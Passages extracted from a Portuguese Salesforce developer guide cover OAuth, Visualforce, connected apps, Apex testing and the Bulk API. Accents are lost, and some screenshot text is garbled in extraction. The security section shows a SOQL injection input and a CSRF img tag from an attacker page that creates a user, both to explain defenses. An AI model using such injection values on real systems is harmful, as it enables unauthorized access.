353. ity url seo usu rio membro de uma comunidade do Salesforce o URL dela fornecido e sfdc community id seo usu rio membro de uma comunidade do Salesforce o ID de comunidade do usu rio fornecido e signature Assinatura HMAC SHA256 com codifica o Base64 assinada com a chave privada do consumidor contendo o ID concatenado e issued at Isso pode ser usado para verificar se o URL de identidade n o foi modificado desde que foi enviado pelo servidor e emitido em Quando a assinatura foi criada Segue um exemplo de resposta do Salesforce id https login salesforce com id 00Dx0000000BV7z 005x0000001209P issued at 1278448101416 refresh token 5Aep8614iLM Dq66lePDmPEgaAw9 Oh L3JKkDpB4xReb54 pZebnUG0h6Sb4KUVDpNtWEofwM39yg instance url https nal salesforce com signature CMJ41 CCaPQikj oOEWEig9H4wqhpuLSk 4J2urAe fVg access_ token 00Dx0000000BV7z AR8AQP0j ITN80ESEsj5EbaZTFGOR NBaTlcyWk7TrqoDjoNIWQ2ME_sTZzBj fmOE6zMHqg6y8PIW4eWze9JksNEkWUL Cju7m4 token _type Bearer scope id api refresh token Se ocorrer um erro durante esta etapa a resposta conter uma mensagem de erro com estas partes e erro C digo do erro e descri o do erro Descri o do erro com informa es adicionais tipo de resposta n o suportado tipo de resposta n o suportado id do cliente inv lidoidentificador do cliente inv lido solicita o inv lida HTTPS ne
354. izados proporcionam maior poder e flexibilidade porque e Os componentes personalizados permitem aos desenvolvedores definirem atributos que podem ser passados para cada componente O valor de um atributo pode mudar a forma como uma marca o exibida na p gina final e a l gica com base em controlador que executada para aquela inst ncia do componente Esse comportamento diferente dos modelos que n o possuem uma forma de passar informa es da p gina que usa um modelo para a pr pria defini o do modelo e As descri es de componentes personalizados s o exibidas na caixa de di logo de refer ncia do componente do aplicativo junto com as descri es do componente padr o As descri es do modelo por outro lado podem somente ser usadas como refer ncia atrav s da rea Configura o do Salesforce porque elas s o definidas como p ginas CONSULTE TAMB M Definindo componentes personalizados do Visualforce Exibindo e editando componentes personalizados do Visualforce Aprimorar o Salesforce com c digo Definindo componentes personalizados do Visualforce Para criar um componente personalizado do Visualforce 1 2 Na Configura o do Salesforce insira Componentes nacaixa Busca r pida eselecione Componentes do Visualforce Clique em Novo Na caixa de texto R tulo digite o texto que dever ser usado para identificar o componente personalizado nas ferramentas de configura o Na caixa de texto Nome
355. izar todos os campos com Personalizar aplicativo exce o de Perfis Conjuntos de permiss es e Atributos de SAML do provedor de servi os Para atualizar Perfis Conjuntos de Personalizar aplicativo E Modificar todos permiss es e Atributos de SAML do provedor os dados Aplicativos conectados podem ser criados em Edi es Group Professional Enterprise Performance Unlimited e Developer Aplicativos conectados podem ser instalados em todas as edi es de servi os Para desinstalar Fazer download de pacotes do AppExchange Ap s criar um aplicativo conectado voc pode edit lo empacot lo ou exclu lo Nota O nome deve ser exclusivo para os aplicativos conectados atuais na sua organiza o poss vel reutilizar o nome de um aplicativo conectado exclu do se o aplicativo conectado foi criado usando a vers o Spring 14 ou posterior N o poss vel reutilizar o nome de um aplicativo conectado exclu do se o aplicativo conectado foi criado usando uma vers o anterior Editando um Aplicativo conectado poss vel atualizar um aplicativo conectado a qualquer momento Em Configura o insira Aplicativos nacaixa Busca r pida e selecione Aplicativos Selecione o nome de um aplicativo conectado na lista e clique em Editar Salve suas altera es clicando em Salvar Ap s a cria o do aplicativo conectado poss vel voltar p gina de detalhes para especificar os intervalos de IP
356. ize 0 58 0 12 0 20 0 07 5 o n a n a n a n a n a Method debug 2 12 0 27 1 01 0 10 8 o n a n a n a n a nja Method execute a 105 30 105 30 105 30 105 30 1 2540 n a n a n a n a n a Method uifcommo 105 36 105 36 105 36 105 36 o n a n a n a n a n a Method add 0 46 0 11 0 13 0 10 4 o n a n a n a n a nja Method 0 10 0 10 0 10 0 10 1 o n a n a n a n a n a Show Methods Queries Workflow Callouts DML Validations Triggers Pages Use uma perspectiva que deixe a conclus o da sua tarefa f cil e r pida Todo desenvolvedor tem um estilo diferente Se uma das perspectivas predefinidas n o atender suas necessidades f cil projetar a sua pr pria Para obter detalhes veja Criando perspectivas personalizadas no inspetor de registro CONSULTE TAMB M Inspetor de registro Criando perspectivas personalizadas no inspetor de registro Guia Estado de exibi o A guia View State Estado de exibi o do Console do desenvolvedor permite examinar o estado de exibi o de uma solicita o de p gina do Visualforce id S APEA SELECLLISLSZ 10 zanna arts AnCt ante FARA Hts An CH RHE NF en darrell 26 q o r Logs Tests Checkpoints Query Editor View State Progress Problems x Name Type Value Size KB Of Parent 4 SJ ChartingRefreshingDataTraditional 2 13 100 Component Tree 0 38 18 4 CI State 1 92 30 4 Controllers 0 28 15 4 3 PieChartRemoteController Page chartingrefreshingdatatra 0 28 100 chartYea
357. jos testes est o em execu o n o aparecem na lista 4 Clique em Executar EDI ES Dispon vel em Salesforce Classic e Lightning Experience Dispon vel em Enterprise Performance Unlimited Developer e Database com Editions PERMISS ES DO USU RIO Para definir editar excluir definir a seguran a definir as configura es da vers o mostrar depend ncias e executar testes de classes do Apex e Apex do autor Ap s selecionar as classes de testes a serem executadas elas s o colocadas na fila de trabalho do Apex para execu o O n mero m ximo de classes de teste que poss vel selecionar para execu o maior que 500 ou 10 multiplicado pelo n mero de classes de teste na organiza o por um per odo de 24 horas Para organiza es com sandbox e Developer Edition o limite mais alto e o maior de 500 ou 20 multiplicado pelo n mero de classes de teste na organiza o Enquanto os testes est o em execu o voc pode selecionar um ou mais testes e clicar em Anular para cancel lo Ap s a conclus o da execu o de um teste voc pode Aprimorar o Salesforce com c digo Guia do usu rio Execu o de teste do Apex 293 e Clicar no teste para ver detalhes do resultado ou se um teste falhar ser o exibidos a primeira mensagem de erro e o rastreamento de pilha e Clicar em Exibir para ver o c digo de origem do Apex Nota Os resultados do teste s o exibidos por 60 m
358. k com logos img logo png SsoUrl https login salesforce com services auth sso O00DBOOO00 HHHH Facebook Conceder ou negar solicita o de acesso Solicita o de acesso ao aplicativo O aplicativo externo que voc est usando est solicitando acesso aos dados do Salesforce O aplicativo externo j foi integrado ao Salesforce por seu administrador Para conceder acesso aos dados do Salesforce a esse aplicativo clique em Permitir Dispon vel em Salesforce Se a descri o do aplicativo n o corresponder ao aplicativo que voc est usando atualmente ou Classic por qualquer outra razdo voc ndo quiser conceder acesso aos seus dados clique em Negar Disponivel em todas as edi es Se o usu rio conectado no momento n o for voc clique em N o voc para fazer logout do usu rio atual e efetuar o seu login Voc s pode conceder acesso a um aplicativo externo um determinado n mero de vezes PERMISS ES Bye Geralmente voc concede acesso para cada dispositivo que utiliza como um laptop e um desktop USUARIO O padr o de cinco por aplicativo Se voc atingiu o limite da sua organiza o a a o de dar acesso a esse aplicativo revoga automaticamente o acesso ao token de acesso com uso menos recente A p gina exibe a s chave s do aplicativo de acesso remoto que ser o revogada s Para gerenciar criar editar e excluir aplicativos OAuth e Gerenciar aplicativos Ap s conceder
359. ken de ID Revogando tokens OAuth Quando os usu rios solicitam os dados no aplicativo externo a p gina do consumidor eles s o EDICOES autenticados Voc pode revogar os tokens de acesso ou o token de atualiza o e todos os tokens de acesso relacionados usando a revoga o Os desenvolvedores podem usar este recurso ao Dispon vel em Salesforce configurar um bot o Logout no aplicativo Classic Dispon vel em todas as Revogando tokens edi es Para revogar tokens OAuth 2 0 use o ponto final de revoga o https login salesforce com services oauth2 revoke Construa uma solicita o POST que inclua os seguintes par metros usando o formato application x www form urlencoded na entidade corpo de solicita o HTTP Por exemplo POST revoke HTTP 1 1 Host https login salesforce com services oauth2 revoke Content Type application x www form urlencoded token currenttoken Se um token de acesso for inclu do n s o invalidaremos e revogaremos o token Se um token de atualiza o for inclu do n s o revogaremos assim como qualquer token de acesso associado O servidor de autoriza o indica o processamento bem sucedido da solicita o retornando um c digo 200 de status de HTTP Para todas as condi es de erro um c digo de status 400 usado juntamente com uma das seguintes respostas de erro e unsupported token type tipo de token n o suportado e invalid token Otoken era inv lido Para o s
360. l As linhas de c digo n o cobertas aparecem em vermelho As linhas de c digo que n o necessitam de cobertura por exemplo chaves coment rios e chamadas System debug ficam em branco Browsers x 2012 08 02 12 48 36 jbleyle 180 de StripeErrorModel StripeCustomer Code Coverage All Tests 85 GoTo Save a EncodingUtil base64Encode headerValue m 40 system debug hs getBody l system debug SSstatusCode hs getStatusCode else un oe G Nota Quando voc edita uma classe com cobertura de c digo o destaque em azul e vermelho no Editor de c digo fonte escurece para indicar que a cobertura n o mais v lida Quando voc edita e salva uma classe a cobertura removida dela Para verificar a cobertura daquela classe execute os testes novamente CONSULTE TAMB M Criar uma execu o de teste Executar testes no Console do desenvolvedor http www salesforce com us developer docs apexcode Content apex_code_coverage_best_pract htm Aprimorar o Salesforce com c digo Guia do usu rio Executando testes no console do desenvolvedor 298 Criar uma execu o de teste Uma execu o de teste uma cole o de classes que cont m m todos de teste Configure uma execu o de teste no Console do desenvolvedor para executar os m todos de teste em uma ou mais classes de teste 1 No Console do desenvolvedor clique em Test Teste gt N
361. l gica de qualquer consulta vulner vel Defesas da inje o SOOL Para evitar um ataque de inje o SOQL evite usar consultas SOQL din micas Em vez disso use consultas est ticas e vari veis vinculantes O exemplo vulner vel acima poderia ser reescrito usando SOQL est tica da seguinte forma public class SOQLController public String name get return name set name value public PageReferenc query S name String queryName queryResult SEL TOV o lik r ECT Id FROM Contact WH ERE and Nam IsDeleted fals return null queryName J Se voc precisar usar SOQL din mica use o m todo scapeSingleQuotes para sanitizar a entrada fornecida pelo usu rio Esse m todo adiciona o caractere de escape a todas as aspas simples em uma string que seja aprovada por um usu rio O m todo garante que todas as aspas simples sejam tratadas como strings que ter o uma outra aspa simples para fechar e n o como comandos do banco de dados Controle de acesso aos dados A plataforma do Force com faz um grande uso das regras de compartilhamento de dados Cada objeto tem permiss es e pode ter configura es de compartilhamento para as quais usu rios podem ler criar editar e excluir Essas configura es s o obrigat rias ao usar todos os controladores padr o Ao usar uma classe do Apex as permiss es incorporadas do usu rio e as rest
362. l empacotar modelos e distribu los a outras organiza es Salesforce Nota Al m de criar modelos de link de a o na Configura o tamb m poss vel usar a API de metadados a APISOAP e a API REST para criar modelos de link de a o Os campos URL de a o Corpo da solicita o HTTP e Cabe alhos HTTP oferecem suporte a vari veis vinculantes e vari veis de contexto Defina vari veis vinculantes em um modelo e defina seus valores ao instanciar o grupo de links de a o Use vari veis de contexto em um modelo Quando um link de a o executado o Salesforce preenche o valor e o retorna na solicita o Para obter mais informa es sobre como usar essas vari veis em um modelo consulte Designa o de modelos de link de a o 1 Em Configura o insira Modelos de link de a o nacaixa Busca r pida e selecione Modelos de link de a o 2 Clique em Novo 3 Insirao Nome do modelo Esse nome exibido na lista de modelos de grupo de links de a o Esse o nico valor do modelo de grupo de links de a o que voc pode editar ap s a publica o do modelo 4 Insiao Nome do desenvolvedor Use o Nome do desenvolvedor para referir se a esse modelo em c digo O valor padr o uma vers o do Nom n meros e o caractere de sublinhado Guia do usu rio Integra o de aplicativos com o Salesforce 148 EDI ES Dispon vel em Salesforce Classic e Lightning Experience Dispon vel em Tod
363. l gt lt head gt lt script type text javascript src soap ajax 13 0 connection js gt lt script gt lt head gt lt body gt lt b gt Contact Info lt b gt lt br gt Aprimorar o Salesforce com c digo Guia do usu rio Componentes do Lightning Apex Visualforce 129 Contact ID Contact Id lt br gt Contact Name Contact FirstName Contact LastName lt br gt lt body gt lt html gt Para implementar essa funcionalidade crie um s control HTML com o conte do acima inserindo o c digo na se o de corpo Em seguida substitua a a o de edi o de contato usando o s control Dessa forma a a o de edi o de contato substitu da em qualquer lugar em que esteja dispon vel o bot o Editar na p gina de detalhes de um contato o link Editar em exibi es de lista e o link Editar em listas relacionadas Nota Este exemplo n o inclui o c digo para editar contatos O c digo na se o de corpo apenas ilustra como usar campos de mesclagem de contato para exibir informa es sobre o contato Substitua a se o de corpo com seu c digo Substitui o de interrup o para novas contas A substitui o de bot es padr o faz com que eles fiquem indispon veis em toda a organiza o do Salesforce No entanto poss vel substituir uma a o padr o e redirecionar do s control para ela sem entrar em um loop infinito Por exemplo voc pode substituir o bot o Novo nas contas realizar seu
364. l no cliente mais frente na p gina caso ela seja usada de forma que possa fazer com que os caracteres de controle HTML inclu dos sejam interpretados As marcas de f rmula tamb m podem ser usadas para incluir dados do objeto da plataforma Embora os dados sejam retirados diretamente da organiza o do usu rio eles ainda dever o ser escapados antes do uso para evitar que eles executem o c digo no contexto de outros usu rios potencialmente aqueles com n veis de privil gio mais altos Apesar de esses tipos de ataque deverem ser realizados por usu rios dentro da mesma organiza o eles minam os pap is do usu rio na organiza o e reduzem a integridade dos registros de auditoria Al m disso v rias organiza es cont m dados que foram importados de fontes externas e talvez n o possam ser rastreados quanto a conte do mal intencionado Cross Site Request Forgery CSRF As falhas de Cross Site Request Forgery CSRF n o s o tanto um erro de programa o pois trata se da falta de uma defesa A forma mais f cil de descrever o CSRF dando um exemplo muito simples Um atacante tem uma p gina no endere o www attacker com Essa pode ser qualquer p gina incluindo uma que forne a servi os ou informa es valiosas que conduza o tr fego para esse site Em algum lugar da p gina do atacante est uma marca HTML que assim lt img src http www yourwebpage com yourapplication createuser email attacker attacker co
365. l pelo nome inserido e Workspace Manager Gerenciar espa o de trabalho Abre uma janela pop up que permite navegar abrir criar e excluir espa os de trabalho Voc pode abrir os seguintes tipos de recursos no espa o de trabalho do Console do desenvolvedor e Os registros abrem no Inspetor de registro e Os pontos de verifica o abrem no Inspetor do ponto de verifica o e Os acionadores e as classes do Apex e as p ginas e os componentes do Visualforce abrem no Editor de c digo fonte e Metadados da organiza o e outros recursos que n o de c digo abrem no Inspetor de objeto e Os resultados da consulta listados na guia do Editor de consulta abrem em uma grade de Resultados de consulta edit vel e Execu es de teste conclu das e listadas na guia Testes abrem em uma exibi o de Resultados de teste Para recolher pain is n o utilizados use os bot es A gt gt lt lt Quando retra do voc pode clicar em um painel para revel lo temporariamente e us lo Quando o seu cursor se move para fora do painel ele retra do automaticamente Ao alternar para um espa o de trabalho diferente ou fechar o Console do desenvolvedor o estado das guias e os pain is dentro das guias no espa o de trabalho atual salvo Se um espa o de trabalho n o tiver sido criado a configura o salva como um espa o de trabalho Padr o Navegando entre guias Para se mover para a esquerda e para a direita nas guias
366. la do Salesforce quando eles clicam em Concluir Para isso configure o atributo Ro Dispon vel em Salesforce Nota Voc n o pode redirecionar usu rios de fluxo para um URL que seja externo sua qd e Lightning organiza o do Salesforce XPETIENCE Para rotear usu rios para outra p gina do Visualforce Dispon vel em Edi es Enterprise Performance Defina o atributo finishLocation para SPage YourPage P Unlimited e Developer Este exemplo roteia os usu rios para a p gina inicial do Visualforce MyUniquePage lt apex page gt lt flow interview name MyUniqueFlow finishLocation Page MyUniquePage gt lt apex page gt Para rotear usu rios para um URL relativo dentro de sua organiza o do Salesforce Defina o atributo finishLocation para URLFOR relativeURL Este exemplo roteia os usu rios para a p gina inicial do Salesforce lt apex page gt lt flow interview name MyUniqueFlow finishLocation URLFOR home home jsp gt lt apex page gt Para obter mais exemplos consulte Configurar o atributo finishLocation em um fluxo no Guia do desenvolvedor do Visualforce CONSULTE TAMB M Incluir um fluxo a uma p gina do Visualforce Guia do desenvolvedor do Visualforce Renderizando fluxos com o Visualforce Ativar e desativar o bate papo nas p ginas do Visualforce Adicione um widget de bate papo em suas p ginas personalizadas do Visualforce EDICOES 1 Em Configura o
367. la p gina ou pelo componente Use a op o Mostrar depend ncias para descobrir onde o pacote gerenciado mencionado Aprimorar o Salesforce com c digo Guia do usu rio Componentes do Lightning Apex Visualforce 76 Configura es de seguran a do navegador e o Visualforce Algumas p ginas do Visualforce s o executadas a partir dos servidores force com Se voc EDICOES tiver definido os sites confidveis de seu navegador para incluiro salesforce com sera preciso adicionar force com lista Dispon vel em Salesforce Dependendo do seu navegador e suas configura es voc poder ver um erro parecido com o Classic e Lightning seguinte em algumas p ginas Experience As configura es de privacidade de seu navegador impediram que Dispon vel em Edi es esta p gina exibisse algum conte do Para exibir esse conte do Contact Manager Group voc precisa alterar as configura es de privacidade do seu Professional Enterprise navegador de forma a permitir cookies de terceiros do dom nio Performance Unlimited e ypages nal visual force com Caso seu navegador seja o Internet Developer Explorer voc tamb m poder adicionar ypages nal visual force com lista de sites confi veis na p gina de op es de seguran a O Salesforce inclui um cabe alho Platform for Privacy Preferences Project P3P em algumas p ginas O cabe alho composto pelas seguintes configura es Objetivo
368. lesforce com c digo Guia do usu rio Console do desenvolvedor 3 Apenas alguns cliques s o necess rios para abrir o Console do desenvolvedor no Salesforce Classic ou no Lightning Experience O Console do desenvolvedor um ambiente de desenvolvimento integrado com uma cole o de ferramentas que pode ser usada para criar depurar e testar aplicativos em sua organiza o do Salesforce Para abrir o Console do desenvolvedor a partir do Salesforce Classic 1 Cliqueem Seu nome 2 Clique em Console do desenvolvedor Para abrir o Console do desenvolvedor a partir do Lightning Experience Clique no menu de acesso r pido o 2 Clique em Console do desenvolvedor Vis o geral da interface de usu rio do console do desenvolvedor O Console do desenvolvedor inclui uma cole o de ferramentas teis para aplicativos de codifica o depura o e teste Filey Edity Debugv Testy Workspacer Help I Account 1 36 PM Code Coverage None public class PurchaseOrders Bn interface that defines what a purchase order looks like in general public interface PurchaseOrder All other functionality excluded Double discount 2 One implementation of the interface for customers public virtual class CustomerPurchaseOrder implements PurchaseOrder public virtual Double discount return 05 Flat 5 discount Logs Tests Checkpoints Query Editor View State Progress Problems E Hide Finished Runs Ca
369. lgum ponto no evento ou em detalhes ser o exibidos 2 No painel Vis o geral da execu o clique na guia Unidades executadas e desative todos os outros tipos de execu o exceto por DML Os bot es s o alternancias clique uma vez para filtrar aquele tipo de opera o da lista Clique novamente para desativar o filtro Para exibir somente a DML clique em M todos Consultas Fluxo de trabalho Chamadas Valida es Acionadores e P ginas do Visualforce Aprimorar o Salesforce com c digo Guia do usu rio Depura o com o uso do console do desenvolvedor 266 e Os detalhes da opera o DML mostram o tipo de objeto que foi afetado e a opera o espec fica realizada inser o atualiza o etc Tamb m poss vel exibir o n mero de vezes em que a declara o DML foi executada o n mero de linhas e assim por diante e Sevoc clicar em um item de solicita o DML na se o Unidades executadas o Registro de execu o filtrar todas as outras partes da solicita o e exibir apenas essa instru o DML Voc tamb m pode usar estes procedimentos para consultar e filtras as consultas Avaliando o desempenho de uma p gina do Visualforce Cen rio Voc tem uma p gina do Visualforce e um controlador do Apex que executa consultas de SOQL Como voc analisa o desempenho da sua p gina e encontra qual unidade de c digo demorou mais Como voc determina quantas consultas s o executadas na solicita o Como confi
370. lho foi criado e os lotes podem ser adicionados ao trabalho e Fechado Nenhum lote novo pode ser adicionado a este trabalho Os lotes associados ao trabalho poder o ser processados depois que um trabalho for fechado Voc n o pode editar ou salvar um trabalho fechado e Anulado O trabalho foi anulado e Falha Otrabalho falhou Os lotes que foram processados de forma bem sucedida no trabalho n o podem ser restabelecidos O nome do usu rio que enviou o trabalho A lista Trabalhos conclu dos cont m as colunas a seguir mostradas em ordem alfab tica Os trabalhos conclu dos s o removidos da lista sete dias ap s sua conclus o Coluna Hora de fim ID do trabalho Objeto Opera o Registros processados Hora de in cio Status Descri o Data e hora em que o trabalho foi conclu do O ID exclusivo de 15 caracteres deste trabalho O tipo de objeto para os dados que est o sendo processados Todos os dados em um trabalho devem ser do tipo de objeto nico A opera o de processamento para todos os lotes no trabalho Os valores v lidos s o e excluir e inserir e consulta e inserir e atualizar e atualizar e hardDelete O n mero de registros j processados Esse n mero aumenta medida que mais lotes s o processados A data e a hora em que o trabalho foi enviado O estado atual do processamento do trabalho Os valores v lidos s o e Open Abrir O trabalho foi criado e os lotes pod
371. lhos 63 64 filtros de registro de depura o 274 gerenciando acionadores 57 motivos de compartilhamento 93 n veis de registro de depura o 274 ordem de preced ncia dos logs de depura o 273 p gina de detalhe do acionador 61 recalculando o compartilhamento do Apex 94 registros de depura o 271 resumo das classes 59 servi o externo da Web 66 servi os de email 109 testando 59 291 testes 292 294 296 298 vis o geral 49 Apex Code Developer s Guide 49 Apex Developer Guide 49 Apex Developer Tools 49 Apex IDE 49 API fazendo download de WSDL 135 API de autentica o 239 API de metadados 136 API em massa 136 aplicativo conectado fluxo de autentica o 198 211 213 219 221 224 fluxo do token portador JWT 206 fluxo portador SAML 203 terminologia 196 Aplicativo conectado controle de acesso em 175 176 178 criando 165 criar 163 desinstalando 195 detalhes 176 editando 172 175 176 178 empacotando 172 excluindo 172 gerenciando 177 mensagens de erro de notifica es por push 186 monitoramento de uso 181 ndice Aplicativo conectado continua o Notifica es por push do Android GCM testando 185 Notifica es por push do APNS testando 185 restri es de IP para 175 176 178 testando as notifica es por push 184 URL inicial 176 178 aplicativos conectados provisionamento de usu rios 188 190 192 Aplicativos conectados gerenciando aplicativos 182 usando o ponto final de descoberta OpenID Connect 238 usand
372. licativos com o Salesforce 160 Aprimorar o Salesforce com c digo Guia do usu rio Integra o de aplicativos com o Salesforce 161 Notifica es de uso da API Notifica es de uso da API Ao criar uma notifica o de uso da solicita o voc especifica um administrador para receber uma EDICOES notifica o de email sempre que a organiza o exceder o n mero limite especificado para solicita es da API feitas em um determinado per odo de horas Dispon vel em Salesforce Para visualizar as notifica es de uso da API em Configura o insira Notifica es de uso Classic e Lightning da API nacaixa Busca r pida e em seguida selecione Notifica es de uso da API Experience Na lista de notifica es poss vel Dispon vel em Edi es Enterprise Performance E is a Unlimited Developer e e Exibir o nome do usu rio que receber a notifica o Databas com e Clicar em Editar ou Excluir para editar ou excluir uma notifica o existente e Exibir o intervalo da notifica o que define a frequ ncia com que as notifica es s o enviadas Por exemplo se o intervalo de notifica es de quatro horas uma notifica o ser enviada ia tee PERMISS ES DO somente se a ltima notifica o tiver sido enviada h pelo menos quatro horas Portanto durante USU RIO um per odo de 24 horas ser o enviadas no m ximo seis notifica es e Exibir a porcentagem limite que se excedida acionar um
373. licativos m veis Respostas da API REST do Chatter s o localizadas e estruturadas para apresenta o Voc pode filtrar respostas de forma que elas contenham somente o que o aplicativo precisa Al m de feeds usu rios grupos e seguidores do Chatter a API REST do Chatter fornece acesso program tico a arquivos recomenda es t picos notifica es aquisi o do Data com e mais A API REST do Chatter semelhante as APIs oferecidas por outras empresas com feeds como Facebook e Twitter mas tamb m exp e os recursos do Salesforce al m do Chatter Aprimorar o Salesforce com c digo Guia do usu rio Integra o de aplicativos com o Salesforce 137 Quando usar a API em massa API em massa baseada nos princ pios do REST e otimizada para carregamento ou exclus o de grandes conjuntos de dados Voc pode us la para consultar inserir atualizar mesclar ou excluir muitos registros de forma ass ncrona por meio do envio de lotes O Salesforce processa lotes em segundo plano A APISOAP por outro lado otimizada para aplicativos clientes em tempo real que atualizam alguns poucos registros por vez Embora tamb m possa ser usada para processar grandes n meros de registros a API SOAP menos pr tica quando os conjuntos de dados cont m centenas de milhares de registros API em massa foi criada para simplificar o processo de dados de alguns milhares a milh es de registros A forma mais f cil de usar a API em massa ativ la
374. licita o inicial para iniciar o fluxo de SSO e Iniciado pelo provedor de servi os o aplicativo de tela inicia o fluxo de SSO depois que o aplicativo chamado Em Locais selecione o local onde o aplicativo de tela aparece para os usu rios e Feed do Chatter O aplicativo de tela aparece no feed Se essa op o selecionada necess rio criar um item de feed CanvasPost e garantir que o usu rio atual tenha acesso ao aplicativo de tela e Guia do Chatter O aplicativo de tela exibido na lista de navega o de aplicativos na guia do Chatter Se essa op o for selecionada o aplicativo de tela ser exibido l automaticamente Aprimorar o Salesforce com c digo Guia do usu rio Integra o de aplicativos com o Salesforce 171 e Console o aplicativo de tela aparece no rodap ou nas barras laterais de um console do Salesforce Se essa op o for selecionada ser preciso escolher o local onde o aplicativo de tela aparece no console adicionando o como componente de console personalizado e Layoutse cart es m veis o aplicativo de tela pode aparecer em um layout de p gina ou cart o m vel Se essa op o for selecionada voc escolhe onde o aplicativo de tela aparece adicionando o ao layout de p gina e Navega o m vel O aplicativo de tela pode ser acessado a partir do menu de navega o no Salesforce1 Nota Os aplicativos de tela n o aparecem no menu de navega o do Salesforce1 em d
375. lique em Editar Marque a caixa de sele o Modo de desenvolvimento Guia do usu rio Componentes do Lightning Apex Visualforce 70 EDI ES Dispon vel em Salesforce Classic e Lightning Experience Dispon vel em Edi es Contact Manager Group Professional Enterprise Performance Unlimited e Developer PERMISS ES DO USU RIO Para ativar o modo de desenvolvimento e Personalizar aplicativo Voc tamb m pode marcar a caixa de sele o Mostrar estado de exibi o no modo de desenvolvimento para habilitar a guia Estado de exibi o no rodap de desenvolvimento Essa guia til para monitorar o desempenho das p ginas do Visualforce Clique em Salvar Aprimorar o Salesforce com c digo Exibindo e editando p ginas do Visualforce Em Configura o insira P ginas do Visualforce nacaixa Busca r pida selecione EDICOES Paginas do Visualforce e clique no nome de uma pagina do Visualforce para exibir os detalhes incluindo quando ela foi criada e foi modificada pela ltima vez e a marca o do Visualforce associada Dispon vel em Salesforce p gina Classic e Lightning Na p gina de detalhes poss vel executar as seguintes a es Experience e Clique em Editar para editar a marca o da p gina existente Dispon vel em Edi es e Clicar em Excluir para excluir a p gina Contact Manager Group Professional Enterprise Performance Unlimited e Developer Clica
376. lizavel O desenvolvedor de um registro pode alterar o valor do campo lan ando uma nova vers o do pacote de metadados personalizados O assinante n o pode alterar o valor do campo Tipos e registros de metadados personalizados possuem nomes e r tulos Os nomes de tipos devem ser exclusivos dentro do respectivo namespace Os nomes de registros devem ser exclusivos dentro do respectivo tipo de metadados personalizados e namespace Registros de metadados personalizados podem ser protegidos Se um desenvolvedor liberar registros protegidos em um pacote gerenciado o acesso a eles ser limitado de maneiras espec ficas e O c digo que est no mesmo pacote gerenciado que os registros de metadados personalizados pode ler os registros e O c digo que est no mesmo pacote gerenciado que os tipos de metadados personalizados pode ler os registros que pertencem a esse tipo e O c digo que est em um pacote gerenciado que n o cont m nem o tipo nem o registro protegido n o pode ler os registros protegidos e O c digo que o assinante cria e o c digo que est em um pacote n o gerenciado n o podem ler os registros protegidos e Odesenvolvedor pode modificar registros protegidos somente com uma atualiza o do pacote O assinante n o pode ler ou modificar registros protegidos O nome do desenvolvedor de um registro protegido n o pode ser alterado ap s a libera o Aprimorar o Salesforce com c digo Guia do usu rio Integra o de
377. ller public String name get return name set name value public PageReference query String qryString SELECT Id FROM Contact WHERE IsDeleted false and Name like S name queryResult Database query gryString return null Aprimorar o Salesforce com c digo Guia do usu rio Componentes do Lightning Apex Visualforce 103 Esse um exemplo bastante simples mas ilustra a l gica O c digo feito para pesquisar contatos que n o foram exclu dos O usu rio fornece um valor de entrada chamado name O valor pode ser qualquer coisa fornecida pelo usu rio e nunca validado A consulta SOQL constru da de forma din mica e depois executada com o m todo Database query Se o usu rio fornecer um valor v lido a instru o ser executada como esperado Query string User supplied valu name Bob SELECT Id FROM Contact WHERE IsDeleted false and Name like SBob Mas e se o usu rio fornecer uma entrada inesperada como esta User supplied value for name test OR Name LIKE Nesse caso a string de consulta ser SELECT Id FROM Contact WHERE IsDeleted false AND Name LIKE Stest OR Name LIKE Agora os resultados mostram todos os contatos e n o s os que n o foram exclu dos Uma falha na inje o SOQL pode ser usada para modificar a
378. lo de cada status e r tulo e label Pendente e label Sucesso e label Falha Por exemplo se o valor Label for Ver exemplo os valores dos quatro estados para links de a o ser o Ver exemplo Ver exemplo Pendente Ver exemplo Sucesso e Ver exemplo Falha Um link de a o pode usar um LabelKey ou Label para gerar nomes de r tulos mas n o poss vel usar ambos Selecione Visibilidade de usu rios que indica quem pode ver o grupo de links de a o Se for selecionado Apenas o gerente do criador pode ver o gerente ser o gerente do criador quando o grupo de links de a o for instanciado Se o gerente do criador mudar depois da instancia o do grupo de links de a o essa mudan a n o ser refletida Opcional Se voc selecionou Apenas usu rio personalizado pode ver ou Todos exceto o usu rio personalizado podem ver insira um Alias de usu rio personalizado Aprimorar o Salesforce com c digo Guia do usu rio Integra o de aplicativos com o Salesforce 151 Insira uma string e defina seu valor ao instanciar um grupo de links de a o da mesma maneira que seria definido o valor de uma vari vel vinculante Mas n o use a sintaxe de vari vel vinculante no modelo Apenas insira um valor Por exemplo poderia ser inserido ExpenseApprover Este exemplo de API REST do Chatter define o valor de 1 POST connect action link group definitions templateId 079D00000004C9r templateBindings
379. lt neo e paralelo Oslotes s o processados no modo paralelo Esse o valor padr o e em s rie Os lotes s o processados no modo em s rie Aprimorar o Salesforce com c digo Campo Tipo de conte do Hora de fim Campo de ID externo Falha nos lotes ID do trabalho Lotes em andamento Objeto Opera es Andamento Lotes em fila Registros falhos Registros processados Novas tentativas Guia do usu rio Integra o de aplicativos com o Salesforce 158 Descri o O tipo de conte do do trabalho Os valores v lidos s o e csv dados em formato CSV e XML dados em formato XML op o padr o e ZIP _CSV dados em formato CSV em um arquivo zip contendo anexos bin rios e ZIP xML dados em formato XML em um arquivo zip contendo anexos bin rios Data e hora em que o trabalho foi conclu do O nome do campo de ID externo de uma opera o de inser o e atualiza o upsert O n mero de lotes que apresentaram falhas neste trabalho O ID exclusivo de 15 caracteres deste trabalho O n mero de lotes que est o em andamento neste trabalho O tipo de objeto para os dados que est o sendo processados Todos os dados em um trabalho devem ser do tipo de objeto nico A opera o de processamento para todos os lotes no trabalho Os valores v lidos s o e excluir e inserir e consulta e inserir e atualizar e atualizar e hardDelete A porcentagem de lotes
